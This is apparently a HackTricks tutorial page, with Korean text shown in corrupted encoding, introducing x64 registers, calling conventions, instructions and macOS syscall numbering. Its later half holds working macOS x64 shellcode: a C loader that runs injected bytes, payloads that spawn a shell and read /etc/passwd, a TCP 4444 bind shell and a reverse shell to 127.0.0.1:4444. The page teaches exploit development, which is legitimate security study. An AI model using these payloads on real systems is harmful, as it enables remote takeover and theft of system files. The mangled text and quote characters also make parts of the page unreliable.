Introduction to x64

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Introduction to x64

x64, ๋˜๋Š” x86-64๋กœ๋„ ์•Œ๋ ค์ง„, ๋ฐ์Šคํฌํƒ‘ ๋ฐ ์„œ๋ฒ„ ์ปดํ“จํŒ…์—์„œ ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” 64๋น„ํŠธ ํ”„๋กœ์„ธ์„œ ์•„ํ‚คํ…์ฒ˜์ž…๋‹ˆ๋‹ค. Intel์—์„œ ์ œ์ž‘ํ•œ x86 ์•„ํ‚คํ…์ฒ˜์—์„œ ์œ ๋ž˜๋˜์—ˆ์œผ๋ฉฐ, ์ดํ›„ AMD๊ฐ€ AMD64๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ ์ฑ„ํƒํ•˜์˜€์Šต๋‹ˆ๋‹ค. ํ˜„์žฌ ๊ฐœ์ธ์šฉ ์ปดํ“จํ„ฐ์™€ ์„œ๋ฒ„์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ์•„ํ‚คํ…์ฒ˜์ž…๋‹ˆ๋‹ค.

Registers

x64๋Š” x86 ์•„ํ‚คํ…์ฒ˜๋ฅผ ํ™•์žฅํ•˜์—ฌ 16๊ฐœ์˜ ๋ฒ”์šฉ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ํŠน์ง•์œผ๋กœ ํ•˜๋ฉฐ, ์ด๋“ค์€ rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, ๊ทธ๋ฆฌ๊ณ  r8๋ถ€ํ„ฐ r15๊นŒ์ง€ ๋ ˆ์ด๋ธ”์ด ๋ถ™์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค ๊ฐ๊ฐ์€ 64๋น„ํŠธ(8๋ฐ”์ดํŠธ) ๊ฐ’์„ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ ˆ์ง€์Šคํ„ฐ๋“ค์€ ํ˜ธํ™˜์„ฑ๊ณผ ํŠน์ • ์ž‘์—…์„ ์œ„ํ•ด 32๋น„ํŠธ, 16๋น„ํŠธ, 8๋น„ํŠธ ์„œ๋ธŒ ๋ ˆ์ง€์Šคํ„ฐ๋„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

  1. rax - ์ „ํ†ต์ ์œผ๋กœ ํ•จ์ˆ˜์˜ ๋ฐ˜ํ™˜ ๊ฐ’์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  2. rbx - ๋ฉ”๋ชจ๋ฆฌ ์ž‘์—…์„ ์œ„ํ•œ ๊ธฐ๋ณธ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  3. rcx - ๋ฃจํ”„ ์นด์šดํ„ฐ๋กœ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  4. rdx - ํ™•์žฅ๋œ ์‚ฐ์ˆ  ์—ฐ์‚ฐ์„ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ ์—ญํ• ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  5. rbp - ์Šคํƒ ํ”„๋ ˆ์ž„์˜ ๊ธฐ๋ณธ ํฌ์ธํ„ฐ์ž…๋‹ˆ๋‹ค.
  6. rsp - ์Šคํƒ ํฌ์ธํ„ฐ, ์Šคํƒ์˜ ์ตœ์ƒ๋‹จ์„ ์ถ”์ ํ•ฉ๋‹ˆ๋‹ค.
  7. rsi ๋ฐ rdi - ๋ฌธ์ž์—ด/๋ฉ”๋ชจ๋ฆฌ ์ž‘์—…์—์„œ ์†Œ์Šค ๋ฐ ๋Œ€์ƒ ์ธ๋ฑ์Šค์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  8. **r8**๋ถ€ํ„ฐ r15 - x64์—์„œ ๋„์ž…๋œ ์ถ”๊ฐ€ ๋ฒ”์šฉ ๋ ˆ์ง€์Šคํ„ฐ์ž…๋‹ˆ๋‹ค.

Calling Convention

x64 ํ˜ธ์ถœ ๊ทœ์•ฝ์€ ์šด์˜ ์ฒด์ œ์— ๋”ฐ๋ผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

  • Windows: ์ฒซ ๋ฒˆ์งธ ๋„ค ๊ฐœ์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ๋ ˆ์ง€์Šคํ„ฐ rcx, rdx, r8, **r9**์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ์Šคํƒ์— ํ‘ธ์‹œ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜ํ™˜ ๊ฐ’์€ **rax**์— ์žˆ์Šต๋‹ˆ๋‹ค.
  • System V (UNIX ์œ ์‚ฌ ์‹œ์Šคํ…œ์—์„œ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋จ): ์ฒซ ๋ฒˆ์งธ ์—ฌ์„ฏ ๊ฐœ์˜ ์ •์ˆ˜ ๋˜๋Š” ํฌ์ธํ„ฐ ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ๋ ˆ์ง€์Šคํ„ฐ rdi, rsi, rdx, rcx, r8, **r9**์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜ํ™˜ ๊ฐ’๋„ **rax**์— ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•จ์ˆ˜๊ฐ€ ์—ฌ์„ฏ ๊ฐœ ์ด์ƒ์˜ ์ž…๋ ฅ์„ ๊ฐ€์ง€๋ฉด, ๋‚˜๋จธ์ง€๋Š” ์Šคํƒ์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. RSP, ์Šคํƒ ํฌ์ธํ„ฐ๋Š” 16๋ฐ”์ดํŠธ ์ •๋ ฌ๋˜์–ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” ํ˜ธ์ถœ์ด ๋ฐœ์ƒํ•˜๊ธฐ ์ „์— ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ๊ฐ€ 16์œผ๋กœ ๋‚˜๋ˆ„์–ด ๋–จ์–ด์ ธ์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ํ•จ์ˆ˜ ํ˜ธ์ถœ ์ „์— RSP๊ฐ€ ์ ์ ˆํžˆ ์ •๋ ฌ๋˜์–ด์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์‹ค์ œ๋กœ๋Š” ์ด ์š”๊ตฌ ์‚ฌํ•ญ์ด ์ถฉ์กฑ๋˜์ง€ ์•Š๋”๋ผ๋„ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์ด ์—ฌ๋Ÿฌ ๋ฒˆ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

Calling Convention in Swift

Swift๋Š” https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ์ž์ฒด ํ˜ธ์ถœ ๊ทœ์•ฝ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Common Instructions

x64 ๋ช…๋ น์–ด๋Š” ํ’๋ถ€ํ•œ ์„ธํŠธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ์ด์ „ x86 ๋ช…๋ น์–ด์™€์˜ ํ˜ธํ™˜์„ฑ์„ ์œ ์ง€ํ•˜๊ณ  ์ƒˆ๋กœ์šด ๋ช…๋ น์–ด๋ฅผ ๋„์ž…ํ•ฉ๋‹ˆ๋‹ค.

  • mov: ํ•œ ๋ ˆ์ง€์Šคํ„ฐ ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜์—์„œ ๋‹ค๋ฅธ ์œ„์น˜๋กœ ๊ฐ’์„ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ: mov rax, rbx โ€” rbx์˜ ๊ฐ’์„ rax๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  • push ๋ฐ pop: ์Šคํƒ์— ๊ฐ’์„ ํ‘ธ์‹œํ•˜๊ฑฐ๋‚˜ ํŒํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ: push rax โ€” rax์˜ ๊ฐ’์„ ์Šคํƒ์— ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ: pop rax โ€” ์Šคํƒ์˜ ์ตœ์ƒ๋‹จ ๊ฐ’์„ rax๋กœ ํŒํ•ฉ๋‹ˆ๋‹ค.
  • add ๋ฐ sub: ๋ง์…ˆ ๋ฐ ๋บ„์…ˆ ์—ฐ์‚ฐ์ž…๋‹ˆ๋‹ค.
  • ์˜ˆ: add rax, rcx โ€” rax์™€ rcx์˜ ๊ฐ’์„ ๋”ํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ rax์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
  • mul ๋ฐ div: ๊ณฑ์…ˆ ๋ฐ ๋‚˜๋ˆ—์…ˆ ์—ฐ์‚ฐ์ž…๋‹ˆ๋‹ค. ์ฃผ์˜: ์ด๋“ค์€ ํ”ผ์—ฐ์‚ฐ์ž ์‚ฌ์šฉ์— ๋Œ€ํ•œ ํŠน์ • ๋™์ž‘์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
  • call ๋ฐ ret: ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ๋ฐ˜ํ™˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • int: ์†Œํ”„ํŠธ์›จ์–ด ์ธํ„ฐ๋ŸฝํŠธ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ: int 0x80๋Š” 32๋น„ํŠธ x86 Linux์—์„œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์— ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • cmp: ๋‘ ๊ฐ’์„ ๋น„๊ตํ•˜๊ณ  ๊ฒฐ๊ณผ์— ๋”ฐ๋ผ CPU์˜ ํ”Œ๋ž˜๊ทธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ: cmp rax, rdx โ€” rax๋ฅผ rdx์™€ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค.
  • je, jne, jl, jge, โ€ฆ: ์ด์ „ cmp ๋˜๋Š” ํ…Œ์ŠคํŠธ์˜ ๊ฒฐ๊ณผ์— ๋”ฐ๋ผ ์ œ์–ด ํ๋ฆ„์„ ๋ณ€๊ฒฝํ•˜๋Š” ์กฐ๊ฑด๋ถ€ ์ ํ”„ ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.
  • ์˜ˆ: cmp rax, rdx ๋ช…๋ น์–ด ํ›„, je label โ€” rax๊ฐ€ rdx์™€ ๊ฐ™์œผ๋ฉด label๋กœ ์ ํ”„ํ•ฉ๋‹ˆ๋‹ค.
  • syscall: ์ผ๋ถ€ x64 ์‹œ์Šคํ…œ(์˜ˆ: ํ˜„๋Œ€ Unix)์—์„œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • sysenter: ์ผ๋ถ€ ํ”Œ๋žซํผ์—์„œ ์ตœ์ ํ™”๋œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.

Function Prologue

  1. ์ด์ „ ๊ธฐ๋ณธ ํฌ์ธํ„ฐ ํ‘ธ์‹œ: push rbp (ํ˜ธ์ถœ์ž์˜ ๊ธฐ๋ณธ ํฌ์ธํ„ฐ๋ฅผ ์ €์žฅ)
  2. ํ˜„์žฌ ์Šคํƒ ํฌ์ธํ„ฐ๋ฅผ ๊ธฐ๋ณธ ํฌ์ธํ„ฐ๋กœ ์ด๋™: mov rbp, rsp (ํ˜„์žฌ ํ•จ์ˆ˜์— ๋Œ€ํ•œ ์ƒˆ๋กœ์šด ๊ธฐ๋ณธ ํฌ์ธํ„ฐ ์„ค์ •)
  3. ๋กœ์ปฌ ๋ณ€์ˆ˜๋ฅผ ์œ„ํ•œ ์Šคํƒ ๊ณต๊ฐ„ ํ• ๋‹น: sub rsp, <size> (์—ฌ๊ธฐ์„œ <size>๋Š” ํ•„์š”ํ•œ ๋ฐ”์ดํŠธ ์ˆ˜)

Function Epilogue

  1. ํ˜„์žฌ ๊ธฐ๋ณธ ํฌ์ธํ„ฐ๋ฅผ ์Šคํƒ ํฌ์ธํ„ฐ๋กœ ์ด๋™: mov rsp, rbp (๋กœ์ปฌ ๋ณ€์ˆ˜ ํ•ด์ œ)
  2. ์ด์ „ ๊ธฐ๋ณธ ํฌ์ธํ„ฐ๋ฅผ ์Šคํƒ์—์„œ ํŒ: pop rbp (ํ˜ธ์ถœ์ž์˜ ๊ธฐ๋ณธ ํฌ์ธํ„ฐ ๋ณต์›)
  3. ๋ฐ˜ํ™˜: ret (ํ˜ธ์ถœ์ž์—๊ฒŒ ์ œ์–ด ๋ฐ˜ํ™˜)

macOS

syscalls

๋‹ค์–‘ํ•œ ํด๋ž˜์Šค์˜ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์ด ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

๊ทธ๋Ÿฐ ๋‹ค์Œ ๊ฐ syscall ๋ฒˆํ˜ธ๋ฅผ ์ด URL์—์„œ: ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

open ์‹œ์Šคํ…œ ํ˜ธ์ถœ (5)์„ Unix/BSD ํด๋ž˜์Šค์—์„œ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ์„ ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: 0x2000000

๋”ฐ๋ผ์„œ open์„ ํ˜ธ์ถœํ•˜๋Š” ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ฒˆํ˜ธ๋Š” 0x2000005์ž…๋‹ˆ๋‹ค.

Shellcodes

์ปดํŒŒ์ผํ•˜๋ ค๋ฉด:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

๋ฐ”์ดํŠธ๋ฅผ ์ถ”์ถœํ•˜๋ ค๋ฉด:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
์‰˜์ฝ”๋“œ๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•œ C ์ฝ”๋“œ ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = โ€œโ€;

int main(int argc, char **argv) { printf(โ€œ[>] Shellcode Length: %zd Bytes\nโ€, strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror(โ€œmmapโ€); exit(-1); } printf(โ€œ[+] SUCCESS: mmap\nโ€); printf(โ€œ |-> Return = %p\nโ€œ, ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf(โ€œ[+] SUCCESS: memcpy\nโ€); printf(โ€œ |-> Return = %p\nโ€œ, dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror(โ€œmprotectโ€); exit(-1); } printf(โ€œ[+] SUCCESS: mprotect\nโ€); printf(โ€œ |-> Return = %d\nโ€œ, status);

printf(โ€œ[>] Trying to execute shellcodeโ€ฆ\nโ€);

sc = ptr; sc();

return 0; }

</details>

#### ์…ธ

[**์—ฌ๊ธฐ**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)์—์„œ ๊ฐ€์ ธ์˜จ ๋‚ด์šฉ์ด๋ฉฐ ์„ค๋ช…๋ฉ๋‹ˆ๋‹ค.

{{#tabs}}
{{#tab name="with adr"}}
```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

{{#endtab}}

{{#tab name=โ€œwith stackโ€}}

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

{{#endtab}} {{#endtabs}}

cat์œผ๋กœ ์ฝ๊ธฐ

๋ชฉํ‘œ๋Š” execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๋‘ ๋ฒˆ์งธ ์ธ์ˆ˜(x1)๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๋ฐฐ์—ด์ž…๋‹ˆ๋‹ค(๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ด๋Š” ์ฃผ์†Œ์˜ ์Šคํƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

sh๋กœ ๋ช…๋ น์–ด ํ˜ธ์ถœํ•˜๊ธฐ

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

ํฌํŠธ 4444์—์„œ https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html์˜ Bind shell

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

๋ฆฌ๋ฒ„์Šค ์…ธ

https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html์—์„œ ๋ฆฌ๋ฒ„์Šค ์…ธ. 127.0.0.1:4444๋กœ ๋ฆฌ๋ฒ„์Šค ์…ธ.

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ